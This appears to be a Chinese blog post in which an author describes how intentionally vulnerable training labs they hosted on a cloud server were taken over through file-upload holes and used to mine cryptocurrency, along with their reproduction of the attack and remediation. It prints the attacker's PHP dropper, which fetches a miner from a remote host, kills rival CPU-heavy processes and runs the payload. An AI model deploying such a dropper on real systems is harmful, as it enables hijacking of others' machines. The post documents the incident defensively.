zoukankan      html  css  js  c++  java
  • 服务器被入侵记录二则

    前言

    注:原创文章,禁止转载!
    之前闲着没事在阿里云用docker部署了三个老靶场,分别是sqli,dvwa,pikachu,方便他人使用学习

    阿里云的警报

    2021.6.10,阿里云给我发了一个短信提醒我疑似服务器被入侵,有挖矿行为
    我想着难道是ssh爆破?难道之前安装的fail2ban服务失效了,上线一看,运行着,首先排除ssh爆破。
    然后仔细回想了一下,也没有安装什么存在漏洞的版本的服务啊。
    登陆了阿里云控制台,看到如下信息:

    (上面的容器名是piakchu,是因为我重命名的时候打快了打错了,然后懒得命名回来了)
    果然是靶场惹的祸,直接通过pikachu靶场文件上传漏洞getshell然后运行挖矿文件。
    在我的固化思维里,docker容器与宿主机分离,还是相对安全的,你get了pikachu的shell也无所谓,之前也去了解过docker容器的逃逸,但是我的版本是没有逃逸的那个漏洞的,然后我就没有管它了。虽然不会被轻易渗透到宿主机,但是还是没想到会有人利用我的靶场来挖矿。

    复现

    为了弄清楚究竟是怎么一回事,随后去做了一个复现,这里用虚拟机做的:
    docker拉的pikachu
    通过pikachu的上传漏洞获取shell,上传的文件在宿主机以下目录:

    /var/lib/docker/volumes/1fbe430ca6daba2068c719273fb0af52dd5b756b900b2957357bd3e0316cfe57/_data/vul/unsafeupload/uploads
    

    通过蚁剑连接
    ll查看权限(我的虚拟机是有icey这个普通用户的):

    -rw-r--r--. 1 icey ftp 53 Jun 14 16:30 aa.php
    -rwxr-xr-x. 1 icey ftp 19 Jun 14 16:37 sillage.sh

    ll查看uploads目录的权限,是有执行权限的
    执行whoami,为www-data,只有对/var/www目录的管理权:

    可以运行一些脚本,但无法逸出容器对宿主机实行攻击(或许是我功力不够,有兴趣的读者可以自行折腾)
    随后将uploads目录的执行权限去掉,通过蚁剑仍然能连接,但是已经无法执行脚本了

    阿里云的警报又来了

    2021.6.21,这天又收到了警报,有了之前的经验,也在我意料之中了
    直接top命令查看,占用cpu资源最高的那个进程名tomcat就是挖矿程序,文件名是tomcat
    几乎不用想,我就知道来自dvwa靶场的文件上传,被人getshell,然后运行了挖矿文件
    我直接停掉了dvwa靶场,top再查看,tomcat进程也跟着没了
    随后一波操作来到了dvwa靶场的上传目录:

    [root@iZhp3661jqu8od84z9g4f8Z 08c916061cde7dbcbcb5b215d45e76e9ec3ed3cad8987ebbe519f0f8a8a8d34a]# find / -name tomcat
    /etc/selinux/targeted/active/modules/100/tomcat
    /var/lib/docker/overlay2/4fb773a023fedfefad7d586d7c118fb1468f109d4b4c531b46f475a608f553d8/diff/app/hackable/uploads/tomcat

    与之前不同的是,这里不仅有tomcat挖矿文件,还有一个d.php,和config.json的文件
    d.php内容如下:

    <?php 
    file_put_contents("tomcat", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/tomcat"));
    file_put_contents("config.json", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/config.json"));
    $x=system("ps axf -o 'pid %cpu' | awk '{if($2>=80) print $1}'");
    system("kill -9 ".$x);
    system('ps -aux');
    system('chmod +x tomcat');
    system('./tomcat');
    system('rm -fr d.php')
    

    虽然没怎么学过php,但上面的命令还是能看懂大部分,最后一句是删除d.php,但是为什么没删除掉自身呢,我猜可能是括号后面少写了一个分号
    里面留下了hacker的远程ip,来自中国河南,当时就来精神了,准备一波反*,第一步信息搜集,访问其web服务我就愣住了,这怎么看也不像是个私人的云服务器。这可能是个。。。
    然后就关电脑睡觉了。

    处理

    最后呢把dvwa和pikachu靶场做了处理,首先建立docker数据卷(docker volume create pikachu),映射到相应容器(docker run -d -it --name=pikachu -p 9002:80 -v pikachu:/app area39/pikachu),方便管理,其次对靶场的上传目录修改权限,去除执行权限(chmod -R a-x uploads),我是直接生硬去除了所有用户的在该目录的执行权限,然后查看靶场,发现文件上传部分直接被搞废了,不能上传,提示权限有问题:

    这样也好,省得他们是折腾了。

    后续

    又再次警报有挖矿行为了,然后登陆一看,还是那个tomcat文件,不过换了个目录
    /var/lib/docker/overlay2/3e3bfa4512a96826be672049b29031b1df6c8bf7f86573045914e7719f335efc/diff/tmp
    于是直接把tmp目录的执行权限去掉,chmod -R a-x tmp

    后来的后来,我关掉了靶场。本来就是靶场,全身的洞,补完就不叫靶场了。

    反思

    不要有固化思维
    文件的权限管理要精准把控,不给不法之人可乘之机

  • 相关阅读:
    2.截取部分字符串中的内容(可做文件上传时的文件重命名)
    1.git fetch的使用
    2.java.lang.IllegalStateException: Optional long parameter 'id' is present but cannot be translated into a null value due to being declared as a primitive type. Consider declaring it ......Springmvc报错
    彩色动态球
    小球落下的动画
    form表单
    repeating-radial-gradient示例
    background示例一
    css中关于以background开的的介绍
    块元素居中的范例
  • 原文地址:https://www.cnblogs.com/sillage/p/14916386.html
Copyright © 2011-2022 走看看